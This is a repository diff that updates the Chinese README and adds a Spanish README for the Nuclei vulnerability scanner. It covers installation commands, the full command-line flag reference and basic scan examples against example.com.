Nuclei使用零误报的定制模板向目标发送请求,同时可以对主机进行批量快速扫描。Nuclei提供TCP、DNS、HTTP、FILE等各类协议的扫描,通过强大且灵活的模板,可以使用Nuclei模拟各种安全检查。
|
||||
|
||||
我们的[模板仓库](https://github.com/projectdiscovery/nuclei-templates)包含**超过300**安全研究员和工程师提供的模板。
|
||||
我们的[模板仓库](https://github.com/projectdiscovery/nuclei-templates)包含**超过300名**安全研究员和工程师提供的模板。
|
||||
|
||||
|
||||
|
||||
@@ -49,15 +51,36 @@ Nuclei使用零误报的定制模板向目标发送请求,同时可以对主
|
||||
<img src="static/nuclei-flow.jpg" alt="nuclei-flow" width="700px"></a>
|
||||
</h3>
|
||||
|
||||
| :exclamation: **免责声明** |
|
||||
|---------------------------------|
|
||||
| **这个项目正在积极开发中**。预计发布会带来突破性的更改。更新前请查看版本更改日志。 |
|
||||
| 这个项目主要是为了作为一个独立的命令行工具而构建的。 **将Nuclei作为服务运行可能存在安全风险。** 强烈建议谨慎使用,并采取额外的安全措施。 |
|
||||
|
||||
# 安装Nuclei
|
||||
|
||||
Nuclei需要**go1**才能安装成功。执行下列命令安装最新版本的Nuclei
|
||||
Nuclei需要 **go1.21** 才能安装成功。执行下列命令安装最新版本的Nuclei
|
||||
|
||||
```sh
|
||||
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
|
||||
```
|
||||
|
||||
<details>
|
||||
<summary>Brew</summary>
|
||||
|
||||
```sh
|
||||
brew install nuclei
|
||||
```
|
||||
|
||||
</details>
|
||||
<details>
|
||||
<summary>Docker</summary>
|
||||
|
||||
```sh
|
||||
docker pull projectdiscovery/nuclei:latest
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
**更多的安装方式 [请点击此处](https://nuclei.projectdiscovery.io/nuclei/get-started/).**
|
||||
|
||||
<table>
|
||||
@@ -100,17 +123,19 @@ Nuclei是一款注重于可配置性、可扩展性和易用性的基于模板
|
||||
-iv, -ip-version string[] 要扫描的主机名的IP版本(4,6)-(默认为4)
|
||||
|
||||
模板:
|
||||
-nt, -new-templates 只扫描最新nuclei-templates版本中添加的模板
|
||||
-ntv, -new-templates-version string[] 运行在特定nuclei-templates版本中添加的新模板
|
||||
-as, -automatic-scan 在web扫描中使用wappalyzer技术检测的指纹找包含对应tags的模板
|
||||
-t, -templates string[] 指定需要扫描的模板文件或者模板目录(逗号分隔,文件)
|
||||
-tu, -template-url string[] 从URL加载模板(逗号分隔,文件)
|
||||
-w, -workflows string[] 指定需要扫描中的工作流文件或者工作流目录(逗号分隔,文件)
|
||||
-wu, -workflow-url string[] 从URL加载工作流(逗号分隔,文件)
|
||||
-validate 验证模板
|
||||
-nss, -no-strict-syntax 禁用对模板的严格语法检查
|
||||
-td, -template-display 显示模板内容
|
||||
-tl 列出所有可用的模板
|
||||
-nt, -new-templates 仅运行最新发布的nuclei模板
|
||||
-ntv, -new-templates-version string[] 仅运行特定版本中添加的新模板
|
||||
-as, -automatic-scan 基于Wappalyzer技术的标签映射自动扫描
|
||||
-t, -templates string[] 指定要运行的模板或者模板目录(以逗号分隔或目录形式)
|
||||
-turl, -template-url string[] 指定要运行的模板URL或模板目录URL(以逗号分隔或目录形式)
|
||||
-w, -workflows string[] 指定要运行的工作流或工作流目录(以逗号分隔或目录形式)
|
||||
-wurl, -workflow-url string[] 指定要运行的工作流URL或工作流目录URL(以逗号分隔或目录形式)
|
||||
-validate 使用nuclei验证模板有效性
|
||||
-nss, -no-strict-syntax 禁用对模板的严格检查
|
||||
-td, -template-display 显示模板内容
|
||||
-tl 列出所有可用的模板
|
||||
-sign 使用NUCLEI_SIGNATURE_PRIVATE_KEY环境变量中的私钥对模板进行签名
|
||||
-code 启用加载基于协议的代码模板
|
||||
|
||||
过滤:
|
||||
-a, -author string[] 执行指定作者的模板(逗号分隔,文件)
|
||||
@@ -138,6 +163,7 @@ Nuclei是一款注重于可配置性、可扩展性和易用性的基于模板
|
||||
-j, -jsonl 输出格式为jsonL(ines)
|
||||
-irr, -include-rr 在JSON、JSONL和Markdown中输出请求/响应对(仅结果)[已弃用,使用-omit-raw替代]
|
||||
-or, -omit-raw 在JSON、JSONL和Markdown中不输出请求/响应对
|
||||
-ot, -omit-template 省略JSON、JSONL输出中的编码模板
|
||||
-nm, -no-meta 在cli输出中不打印元数据
|
||||
-ts, -timestamp 在cli输出中打印时间戳
|
||||
-rdb, -report-db string 本地的nuclei结果数据库(始终使用该数据库保存结果)
|
||||
@@ -174,7 +200,6 @@ Nuclei是一款注重于可配置性、可扩展性和易用性的基于模板
|
||||
-i, -interface string 指定用于网络扫描的网卡
|
||||
-at, -attack-type string payload的组合模式(batteringram,pitchfork,clusterbomb)
|
||||
-sip, -source-ip string 指定用于网络扫描的源IP
|
||||
-config-directory string 覆盖默认配置路径($home/.config)
|
||||
-rsr, -response-size-read int 最大读取响应大小(默认:10485760字节)
|
||||
-rss, -response-size-save int 最大储存响应大小(默认:1048576字节)
|
||||
-reset 删除所有nuclei配置和数据文件(包括nuclei-templates)
|
||||
@@ -267,34 +292,34 @@ UNCOVER引擎:
|
||||
-stats 显示正在扫描的统计信息
|
||||
-sj, -stats-json 将统计信息以JSONL格式输出到文件
|
||||
-si, -stats-inerval int 显示统计信息更新的间隔秒数(默认:5)
|
||||
-m, -metrics 开启metrics服务
|
||||
-mp, -metrics-port int 更改metrics服务的端口(默认:9092)
|
||||
|
||||
云服务:
|
||||
-cloud 在nuclei云上运行扫描
|
||||
-ads, -add-datasource string 添加指定的数据源(s3、github)
|
||||
-atr, -add-target string 向云中添加目标
|
||||
-atm, -add-template string 向云中添加模板
|
||||
-lsn, -list-scan 列出先前的云扫描
|
||||
-lso, -list-output string 按扫描ID列出扫描输出
|
||||
-ltr, -list-target 按ID列出云目标
|
||||
-ltm, -list-template 按ID列出云模板
|
||||
-lds, -list-datasource 按ID列出云数据源
|
||||
-lrs, -list-reportsource 列出报告源
|
||||
-dsn, -delete-scan string 按ID删除云扫描
|
||||
-dtr, -delete-target string 从云中删除目标
|
||||
-dtm, -delete-template string 从云中删除模板
|
||||
-dds, -delete-datasource string 删除指定的数据源
|
||||
-drs, -disable-reportsource string 禁用指定的报告源
|
||||
-ers, -enable-reportsource string 启用指定的报告源
|
||||
-gtr, -get-target string 按ID获取目标内容
|
||||
-gtm, -get-template string 按ID获取模板内容
|
||||
-nos, -no-store 禁用云上的扫描/输出存储
|
||||
-no-tables 不显示漂亮打印的表格
|
||||
-limit int 限制要显示的输出数量(默认 100)
|
||||
云服务:
|
||||
-auth 配置projectdiscovery云服务(pdcp)API密钥
|
||||
-cup, -cloud-upload 将扫描结果上传到pdcp仪表板
|
||||
-sid, -scan-id string 将扫描结果上传到指定的扫描ID
|
||||
|
||||
例子:
|
||||
扫描一个单独的URL:
|
||||
$ nuclei -target example.com
|
||||
|
||||
对URL运行指定的模板:
|
||||
$ nuclei -target example.com -t http/cves/ -t ssl
|
||||
|
||||
扫描hosts.txt中的多个URL:
|
||||
$ nuclei -list hosts.txt
|
||||
|
||||
输出结果为JSON格式:
|
||||
$ nuclei -target example.com -json-export output.json
|
||||
|
||||
使用已排序的Markdown输出(使用环境变量)运行nuclei:
|
||||
$ MARKDOWN_EXPORT_SORT_MODE=template nuclei -target example.com -markdown-export nuclei_report/
|
||||
|
||||
```
|
||||
|
||||
更多信息请参考文档: https://docs.nuclei.sh/getting-started/running
|
||||
|
||||
|
||||
### 运行Nuclei
|
||||
|
||||
使用[社区提供的模板](https://github.com/projectdiscovery/nuclei-templates)扫描单个目标
|
||||
@@ -372,8 +397,8 @@ Nuclei通过增加手动、自动的过程,极大地改变了安全评估的
|
||||
|
||||
Nuclei构建很简单,通过数百名安全研究员的社区模板,Nuclei可以随时扫描来了解安全威胁。Nuclei通常用来用于复测,以确定漏洞是否被修复。
|
||||
|
||||
- **CI/CD:**工程师已经支持了CI/CD,可以通过Nuclei使用定制模板来监控模拟环境和生产环境
|
||||
- **周期性扫描:**使用Nuclei创建新发现的漏洞模板,通过Nuclei可以周期性扫描消除漏洞
|
||||
- **CI/CD:** 工程师已经支持了CI/CD,可以通过Nuclei使用定制模板来监控模拟环境和生产环境
|
||||
- **周期性扫描:** 使用Nuclei创建新发现的漏洞模板,通过Nuclei可以周期性扫描消除漏洞
|
||||
|
||||
我们有个[讨论组](https://github.com/projectdiscovery/nuclei-templates/discussions/693),黑客提交自己的模板后可以获得赏金,这可以减少资产的漏洞,并且减少重复。如果你想实行该计划,可以[联系我](mailto:[email protected])。我们非常乐意提供帮助,或者在[讨论组](https://github.com/projectdiscovery/nuclei-templates/discussions/693)中发布相关信息。
|
||||
|
||||
@@ -385,6 +410,10 @@ Nuclei构建很简单,通过数百名安全研究员的社区模板,Nuclei
|
||||
<a href="https://github.com/projectdiscovery/nuclei-action"><img src="static/learn-more-button.png" width="170px" alt="Learn More"></a>
|
||||
</h1>
|
||||
|
||||
### 将nuclei加入您的代码
|
||||
|
||||
有关使用Nuclei作为Library/SDK的完整指南,请访问[godoc](https://pkg.go.dev/github.com/projectdiscovery/nuclei/v3/lib#section-readme)
|
||||
|
||||
### 资源
|
||||
|
||||
- [使用PinkDraconian发现Nuclei的BUG (Robbe Van Roey)](https://www.youtube.com/watch?v=ewP0xVPW-Pk) 作者:[@PinkDraconian](https://twitter.com/PinkDraconian)
|
||||
@@ -401,7 +430,17 @@ Nuclei构建很简单,通过数百名安全研究员的社区模板,Nuclei
|
||||
|
||||
### 致谢
|
||||
|
||||
感谢所有[社区贡献者提供的PR](https://github.com/projectdiscovery/nuclei/graphs/contributors),另外您可以其他类似的开源项目:
|
||||
感谢所有[社区贡献者提供的PR](https://github.com/projectdiscovery/nuclei/graphs/contributors),并不断更新此项目:heart:
|
||||
|
||||
如果你有想法或某种改进,欢迎你参与该项目,随时发送你的PR。
|
||||
|
||||
<p align="center">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/graphs/contributors">
|
||||
<img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei&max=500">
|
||||
</a>
|
||||
</p>
|
||||
|
||||
另外您可以了解其他类似的开源项目:
|
||||
|
||||
[FFuF](https://github.com/ffuf/ffuf), [Qsfuzz](https://github.com/ameenmaali/qsfuzz), [Inception](https://github.com/proabiral/inception), [Snallygaster](https://github.com/hannob/snallygaster), [Gofingerprint](https://github.com/Static-Flow/gofingerprint), [Sn1per](https://github.com/1N3/Sn1per/tree/master/templates), [Google tsunami](https://github.com/google/tsunami-security-scanner), [Jaeles](https://github.com/jaeles-project/jaeles), [ChopChop](https://github.com/michelin/ChopChop)
|
||||
|
||||
|
||||
@@ -0,0 +1,369 @@
|
||||
<h1 align="center">
|
||||
<br>
|
||||
<a href="https://nuclei.projectdiscovery.io"><img src="static/nuclei-logo.png" width="200px" alt="Nuclei"></a>
|
||||
</h1>
|
||||
|
||||
<h4 align="center">Escáner de vulnerabilidades rápido y personalizable basado en un sencillo DSL basado en YAML.</h4>
|
||||
|
||||
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/github/go-mod/go-version/projectdiscovery/nuclei">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/releases"><img src="https://img.shields.io/github/downloads/projectdiscovery/nuclei/total">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/graphs/contributors"><img src="https://img.shields.io/github/contributors-anon/projectdiscovery/nuclei">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/releases/"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/issues"><img src="https://img.shields.io/github/issues-raw/projectdiscovery/nuclei">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/discussions"><img src="https://img.shields.io/github/discussions/projectdiscovery/nuclei">
|
||||
<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
|
||||
<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="#how-it-works">Cómo funciona</a> •
|
||||
<a href="#install-nuclei">Instalación</a> •
|
||||
<a href="https://docs.projectdiscovery.io/tools/nuclei/">Documentación</a> •
|
||||
<a href="#credits">Créditos</a> •
|
||||
<a href="https://docs.projectdiscovery.io/tools/nuclei/faq">Preguntas Frecuentes</a> •
|
||||
<a href="https://discord.gg/projectdiscovery">Únete a Discord</a>
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README.md">English</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_CN.md">中文</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_KR.md">Korean</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ID.md">Indonesia</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md">Spanish</a>
|
||||
</p>
|
||||
|
||||
---
|
||||
|
||||
Nuclei se utiliza para enviar peticiones a múltiples objetivos basándose en una plantilla, lo que resulta en cero falsos positivos y proporciona un escaneo rápido en un gran número de hosts. Nuclei ofrece escaneos para una variedad de protocolos, incluyendo TCP, DNS, HTTP, SSL, File, Whois, Websocket, Headless, Code, etc. Con plantillas potentes y flexibles, Nuclei puede utilizarse para modelar todo tipo de comprobaciones de seguridad.
|
||||
|
||||
Tenemos un [repositorio dedicado](https://github.com/projectdiscovery/nuclei-templates) que alberga varios tipos de plantillas de vulnerabilidades, contribuidas por **más de 300** investigadores y ingenieros de seguridad.
|
||||
|
||||
## Cómo funciona
|
||||
|
||||
|
||||
<h3 align="center">
|
||||
<img src="static/nuclei-flow.jpg" alt="nuclei-flow" width="700px"></a>
|
||||
</h3>
|
||||
|
||||
|
||||
| :exclamation: **Descargo de responsabilidad** |
|
||||
|---------------------------------|
|
||||
| **Este proyecto está en desarrollo activo**. Es de esperar que se produzcan cambios importantes con las nuevas versiones. Consulte el registro de cambios de la versión antes de actualizar. |
|
||||
| Este proyecto fue principalmente desarrollado para ser utilizado como una herramienta CLI independiente. **Ejecutar nuclei como un servicio puede suponer riesgos de seguridad.** Se recomienda utilizarlo con precaución y tomar medidas de seguridad adicionales. |
|
||||
|
||||
# Instalación de Nuclei
|
||||
|
||||
Nuclei requiere **go1.21** para instalarse correctamente. Ejecute el siguiente comando para instalar la última versión -
|
||||
|
||||
```sh
|
||||
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
|
||||
```
|
||||
|
||||
<details>
|
||||
<summary>Brew</summary>
|
||||
|
||||
```sh
|
||||
brew install nuclei
|
||||
```
|
||||
|
||||
</details>
|
||||
<details>
|
||||
<summary>Docker</summary>
|
||||
|
||||
```sh
|
||||
docker pull projectdiscovery/nuclei:latest
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
**Más métodos de instalación [pueden encontrarse aquí](https://docs.projectdiscovery.io/tools/nuclei/install).**
|
||||
|
||||
<table>
|
||||
<tr>
|
||||
<td>
|
||||
|
||||
### Plantillas de Nuclei
|
||||
|
||||
Nuclei cuenta con soporte incorporado para la descarga/actualización automática de plantillas desde la versión [v2.5.2](https://github.com/projectdiscovery/nuclei/releases/tag/v2.5.2) en adelante. El proyecto [**Nuclei-Templates**](https://github.com/projectdiscovery/nuclei-templates) proporciona una lista de plantillas listas para usar, aportadas por la comunidad, y que se actualizan constantemente.
|
||||
|
||||
También puedes utilizar la bandera `update-templates` para actualizar las plantillas de Nuclei en cualquier momento; puedes escribir tus propias pruebas para tu flujo de trabajo y necesidades individuales siguiendo la [guía de plantillas](https://docs.projectdiscovery.io/templates/) de Nuclei.
|
||||
|
||||
La sintaxis de referencia YAML DSL está disponible [aquí](SYNTAX-REFERENCE.md).
|
||||
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
### Uso
|
||||
|
||||
```sh
|
||||
nuclei -h
|
||||
```
|
||||
|
||||
Esto mostrará ayuda sobre la herramienta. Aquí están todas las opciones que soporta.
|
||||
|
||||
|
||||
```console
|
||||
Nuclei es un escáner de vulnerabilidades rápido y basado en plantillas
|
||||
que se centra en su amplia configurabilidad, extensibilidad y facilidad de uso.
|
||||
|
||||
Usage:
|
||||
./nuclei [flags]
|
||||
|
||||
Flags:
|
||||
TARGET:
|
||||
-u, -target string[] URLs/hosts a escanear
|
||||
-l, -list string ruta al archivo que contiene la lista de URLs/hosts a escanear (uno por línea)
|
||||
-eh, -exclude-hosts string[] hosts a excluir para escanear de la lista de entrada (ip, cidr, hostname)
|
||||
-resume string reanudar el escaneo usando resume.cfg (la clusterización quedará inhabilitada)
|
||||
-sa, -scan-all-ips escanear todas las IP asociadas al registro dns
|
||||
-iv, -ip-version string[] versión IP a escanear del nombre de host (4,6) - (por defecto 4)
|
||||
|
||||
TARGET-FORMAT:
|
||||
-im, -input-mode string modo del archivo de entrada (list, burp, jsonl, yaml, openapi, swagger) (por defecto "list")
|
||||
-ro, -required-only utilizar solo campos requeridos en el formato de entrada al generar peticiones
|
||||
-sfv, -skip-format-validation saltar la validación de formato (como variables faltantes) al procesar el archivo de entrada
|
||||
|
||||
TEMPLATES:
|
||||
-nt, -new-templates ejecutar sólo las nuevas plantillas añadidas en la última versión de nuclei-templates
|
||||
-ntv, -new-templates-version string[] ejecutar las nuevas plantillas añadidas en la versión especificada
|
||||
-as, -automatic-scan escaneo web automático utilizando la detección de tecnología de wappalyzer para mapeo de etiquetas
|
||||
-t, -templates string[] lista de plantillas o directorio de plantillas a ejecutar (separadas por comas, file)
|
||||
-turl, -template-url string[] url de plantilla o lista que contiene urls de plantillas a ejecutar (separadas por comas, file)
|
||||
-w, -workflows string[] lista de flujos de trabajo o directorio de flujos de trabajo a ejecutar (separadas por comas, file)
|
||||
-wurl, -workflow-url string[] url de flujo de trabajo o lista que contiene urls de flujo de trabajo para ejecutar (separadas por comas, file)
|
||||
-validate valida las plantillas pasadas a nuclei
|
||||
-nss, -no-strict-syntax deshabilita la comprobación de sintaxis estricta en las plantillas
|
||||
-td, -template-display muestra el contenido de las plantillas
|
||||
-tl lista todas las plantillas disponibles
|
||||
-tgl lista todas las etiquetas disponibles
|
||||
-sign firma las plantillas con la clave privada definida en la variable de entorno NUCLEI_SIGNATURE_PRIVATE_KEY
|
||||
-code habilita la carga de plantillas basadas en protocolos de código
|
||||
-dut, -disable-unsigned-templates deshabilita la ejecución de plantillas no firmadas o plantillas con firma no coincidente
|
||||
|
||||
FILTERING:
|
||||
-a, -author string[] plantillas a ejecutar basadas en autores (separadas por comas, file)
|
||||
-tags string[] plantillas a ejecutar basadas en etiquetas (separadas por comas, file)
|
||||
-etags, -exclude-tags string[] plantillas a excluir basadas en etiquetas (separadas por comas, file)
|
||||
-itags, -include-tags string[] etiquetas a ejecutar incluso si están excluidas ya sea por defecto o por configuración
|
||||
-id, -template-id string[] plantillas a ejecutar basadas en IDs de plantilla (comma-separated, file, allow-wildcard)
|
||||
-eid, -exclude-id string[] plantillas a excluir basadas en IDs de plantilla (separadas por comas, file)
|
||||
-it, -include-templates string[] ruta al archivo de plantilla o directorio a ejecutar incluso si están excluidas ya sea por defecto o por configuración
|
||||
-et, -exclude-templates string[] ruta al archivo de plantilla o directorio a excluir (separadas por comas, file)
|
||||
-em, -exclude-matchers string[] matchers de plantilla a excluir en el resultado
|
||||
-s, -severity value[] plantillas a ejecutar basadas en criticidad. Valores posibles: info, bajo, medio, alto, crítico, desconocido
|
||||
-es, -exclude-severity value[] plantillas a excluir basadas en criticidad. Valores posibles: info, bajo, medio, alto, crítico, desconocido
|
||||
-pt, -type value[] plantillas a ejecutar basadas en tipo de protocolo. Valores posibles: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript
|
||||
-ept, -exclude-type value[] plantillas a excluir basadas en tipo de protocolo. Valores posibles: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript
|
||||
-tc, -template-condition string[] plantillas a ejecutar basadas en condición de expresión
|
||||
|
||||
OUTPUT:
|
||||
-o, -output string archivo de salida donde guardar las incidencias/vulnerabilidades detectadas
|
||||
-sresp, -store-resp almacenar todas las peticiones/respuestas enviadas por nuclei en el directorio de salida
|
||||
-srd, -store-resp-dir string almacenar todas las peticiones/respuestas enviadas por nuclei en un directorio personalizado (por defecto "output")
|
||||
-silent mostrar resultados únicamente
|
||||
-nc, -no-color deshabilitar la coloración del contenido de salida (códigos de escape ANSI)
|
||||
-j, -jsonl escribir la salida en formato JSONL(ines)
|
||||
-irr, -include-rr -omit-raw incluir pares peticiones/respuesta en las salidas JSON, JSONL y Markdown (sólo para hallazgos) [OBSOLETO usar -omit-raw] (por defecto true)
|
||||
-or, -omit-raw omitir los pares peticiones/respuesta en las salidas JSON, JSONL y Markdown (sólo para hallazgos)
|
||||
-ot, -omit-template omitir plantilla codificada en la salida JSON, JSONL
|
||||
-nm, -no-meta deshabilitar la impresión de metadatos de resultados en la salida cli
|
||||
-ts, -timestamp habilitar la impresión de la marca de tiempo en la salida cli
|
||||
-rdb, -report-db string base de datos de informes de nuclei (utilizarla siempre para persistir los datos de los informes)
|
||||
-ms, -matcher-status mostrar el estado de fallo de coincidencia
|
||||
-me, -markdown-export string directorio para exportar resultados en formato markdown
|
||||
-se, -sarif-export string archivo para exportar resultados en formato SARIF
|
||||
-je, -json-export string archivo para exportar resultados en formato JSON
|
||||
-jle, -jsonl-export string archivo para exportar resultados en formato JSONL(ines)
|
||||
|
||||
CONFIGURATIONS:
|
||||
-config string ruta al archivo de configuración de nuclei
|
||||
-fr, -follow-redirects habilitar el seguimiento de redirecciones para plantillas http
|
||||
-fhr, -follow-host-redirects seguir redirecciones en el mismo host
|
||||
-mr, -max-redirects int número máximo de redirecciones a seguir para plantillas http (por defecto 10)
|
||||
-dr, -disable-redirects deshabilitar redirecciones para plantillas http
|
||||
-rc, -report-config string archivo de configuración del módulo de informes de nuclei
|
||||
-H, -header string[] encabezado/cookie personalizado a incluir en todas las peticiones http en formato header:value (cli, file)
|
||||
-V, -var value variables personalizadas en formato key=value
|
||||
-r, -resolvers string archivo que contiene lista de resolutores para nuclei
|
||||
-sr, -system-resolvers utilizar resolución de DNS del sistema como fallback de error
|
||||
-dc, -disable-clustering deshabilitar la clusterización de peticiones
|
||||
-passive habilitar el modo de procesamiento pasivo de respuestas HTTP
|
||||
-fh2, -force-http2 forzar la conexión http2 en las peticiones
|
||||
-ev, -env-vars habilitar el uso de variables de entorno en la plantilla
|
||||
-cc, -client-cert string archivo de certificado de cliente (codificado en PEM) utilizado para autenticarse contra los hosts escaneados
|
||||
-ck, -client-key string archivo de clave de cliente (codificado en PEM) utilizado para autenticarse contra los hosts escaneados
|
||||
-ca, -client-ca string archivo de autoridad de certificación de cliente (codificado en PEM) utilizado para autenticarse contra los hosts escaneados
|
||||
-sml, -show-match-line mostrar líneas de coincidencia para plantillas de archivo, funciona solo con extractores
|
||||
-ztls utilizar la biblioteca ztls con autofallback a estándar para tls13 [Obsoleto] autofallback a ztls está habilitado por defecto
|
||||
-sni string nombre de host tls sni a usar (por defecto: nombre de dominio de entrada)
|
||||
-dt, -dialer-timeout value tiempo de espera para peticiones de red
|
||||
-dka, -dialer-keep-alive value duración de keep-alive para peticiones de red
|
||||
-lfa, -allow-local-file-access permite el acceso a archivos (carga útil) en cualquier lugar del sistema
|
||||
-lna, -restrict-local-network-access bloquea conexiones a la red local / privada
|
||||
-i, -interface string interfaz de red a usar para el escaneo de red
|
||||
-at, -attack-type string tipo de combinaciones de carga útil a realizar (batteringram, pitchfork, clusterbomb)
|
||||
-sip, -source-ip string dirección ip de origen a usar para el escaneo de red
|
||||
-rsr, -response-size-read int tamaño máximo de respuesta a leer en bytes (por defecto 10485760)
|
||||
-rss, -response-size-save int tamaño máximo de respuesta a guardar en bytes (por defecto 1048576)
|
||||
-reset reset elimina todos los archivos de configuración y datos de nuclei (incluidas las nuclei-templates)
|
||||
-tlsi, -tls-impersonate habilitar client hello (ja3) tls randomization experimental
|
||||
|
||||
INTERACTSH:
|
||||
-iserver, -interactsh-server string url del servidor interactsh para instancia autoalojada (por defecto: oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me)
|
||||
-itoken, -interactsh-token string token de autenticación del servidor interactsh autoalojado
|
||||
-interactions-cache-size int número de peticiones a mantener en la caché de interacciones (por defecto 5000)
|
||||
-interactions-eviction int número de segundos a esperar antes de eliminar las solicitudes de la caché (por defecto 60)
|
||||
-interactions-poll-duration int número de segundos a esperar antes de cada solicitud de polling de interacciones (por defecto 5)
|
||||
-interactions-cooldown-period int tiempo adicional para el polling de interacciones antes de salir (por defecto 5)
|
||||
-ni, -no-interactsh desactivar el servidor interactsh para pruebas OAST, excluir plantillas basadas en OAST
|
||||
|
||||
FUZZING:
|
||||
-ft, -fuzzing-type string sobrescribe el tipo de fuzzing establecido en la plantilla (replace, prefix, postfix, infix)
|
||||
-fm, -fuzzing-mode string sobrescribe el modo de fuzzing establecido en la plantilla (multiple, single)
|
||||
-fuzz habilita la carga de plantillas de fuzzing (Obsoleto: usar -dast en su lugar)
|
||||
-dast solo ejecuta plantillas DAST
|
||||
|
||||
UNCOVER:
|
||||
-uc, -uncover habilita el motor uncover
|
||||
-uq, -uncover-query string[] consulta de búsqueda uncover
|
||||
-ue, -uncover-engine string[] motor de búsqueda uncover (shodan,censys,fofa,shodan-idb,quake,hunter,zoomeye,netlas,criminalip,publicwww,hunterhow) (por defecto shodan)
|
||||
-uf, -uncover-field string campos uncover a devolver (ip,port,host) (por defecto "ip:port")
|
||||
-ul, -uncover-limit int resultados uncover a devolver (por defecto 100)
|
||||
-ur, -uncover-ratelimit int sobrescribe el límite de velocidad de los motores con el límite de velocidad del motor uncover (por defecto 60 req/min) (por defecto 60)
|
||||
|
||||
RATE-LIMIT:
|
||||
-rl, -rate-limit int número máximo de peticiones a enviar por segundo (por defecto 150)
|
||||
-rlm, -rate-limit-minute int número máximo de peticiones a enviar por minuto
|
||||
-bs, -bulk-size int número máximo de hosts a ser analizados en paralelo por plantilla (por defecto 25)
|
||||
-c, -concurrency int número máximo de plantillas a ejecutar en paralelo (por defecto 25)
|
||||
-hbs, -headless-bulk-size int número máximo de hosts headless a ser analizados en paralelo por plantilla (por defecto 10)
|
||||
-headc, -headless-concurrency int número máximo de plantillas headless a ejecutar en paralelo (por defecto 10)
|
||||
-jsc, -js-concurrency int número máximo de entornos de ejecución de JavaScript a ejecutar en paralelo (por defecto 120)
|
||||
-pc, -payload-concurrency int concurrencia máxima de carga útil para cada plantilla (por defecto 25)
|
||||
|
||||
OPTIMIZATIONS:
|
||||
-timeout int tiempo de espera en segundos (por defecto 10)
|
||||
-retries int número de veces que se reintenta una petición fallida (por defecto 1)
|
||||
-ldp, -leave-default-ports dejar puertos HTTP/HTTPS predeterminados (por ejemplo, host:80,host:443)
|
||||
-mhe, -max-host-error int errores máximos para un host antes de omitirlo del escaneo (por defecto 30)
|
||||
-te, -track-error string[] agrega el error dado a la lista de seguimiento de errores máximos por host (standard, file)
|
||||
-nmhe, -no-mhe deshabilita la omisión del host del escaneo basado en errores
|
||||
-project utiliza una carpeta de proyecto para evitar enviar la misma petición varias veces
|
||||
-project-path string establece una ruta de proyecto específica (por defecto "/tmp")
|
||||
-spm, -stop-at-first-match detiene el procesamiento de las peticiones HTTP después de la primera coincidencia (puede romper la lógica de la plantilla/flujo de trabajo)
|
||||
-stream modo transmisión - comienza a trabajar sin ordenar la entrada
|
||||
-ss, -scan-strategy value estrategia a utilizar mientras se escanea (auto/host-spray/template-spray) (por defecto auto)
|
||||
-irt, -input-read-timeout value tiempo de espera en la lectura de entrada (por defecto 3m0s)
|
||||
-nh, -no-httpx deshabilita análisis httpx para entradas que no son URL
|
||||
-no-stdin deshabilita el procesamiento de la entrada estándar
|
||||
|
||||
HEADLESS:
|
||||
-headless habilita las plantillas que requieren soporte de navegadores sin interfaz gráfica (headless browser) (el usuario root en Linux deshabilitará el sandbox)
|
||||
-page-timeout int segundos para esperar cada página en modo sin interfaz (por defecto 20)
|
||||
-sb, -show-browser muestra el navegador en la pantalla al ejecutar plantillas con modo sin interfaz
|
||||
-ho, -headless-options string[] inicia Chrome en modo sin interfaz con opciones adicionales
|
||||
-sc, -system-chrome utiliza el navegador Chrome instalado localmente en lugar del instalado por nuclei
|
||||
-lha, -list-headless-action lista de acciones sin interfaz disponibles
|
||||
|
||||
DEBUG:
|
||||
-debug muestra todas las peticiones y respuestas
|
||||
-dreq, -debug-req muestra todas las peticiones enviadas
|
||||
-dresp, -debug-resp muestra todas las respuestas recibidas
|
||||
-p, -proxy string[] lista de proxies http/socks5 a utilizar (separados por comas o archivo de entrada)
|
||||
-pi, -proxy-internal proxy para todas las peticiones internas
|
||||
-ldf, -list-dsl-function lista todas las firmas de función DSL admitidas
|
||||
-tlog, -trace-log string archivo a escribir el registro de traza de peticiones enviadas
|
||||
-elog, -error-log string archivo a escribir el registro de error de peticiones enviadas
|
||||
-version muestra la versión de nuclei
|
||||
-hm, -hang-monitor habilita la monitorización de bloqueos de nuclei
|
||||
-v, -verbose muestra salida detallada
|
||||
-profile-mem string archivo opcional de volcado de memoria de nuclei
|
||||
-vv muestra las plantillas cargadas para el escaneo
|
||||
-svd, -show-var-dump muestra el volcado de variables para depuración
|
||||
-ep, -enable-pprof habilita el servidor de depuración pprof
|
||||
-tv, -templates-version muestra la versión de las plantillas nuclei (nuclei-templates) instaladas
|
||||
-hc, -health-check ejecuta comprobación de diagnóstico
|
||||
|
||||
UPDATE:
|
||||
-up, -update actualiza el motor de nuclei a la última versión lanzada
|
||||
-ut, -update-templates actualiza nuclei-templates a la última versión lanzada
|
||||
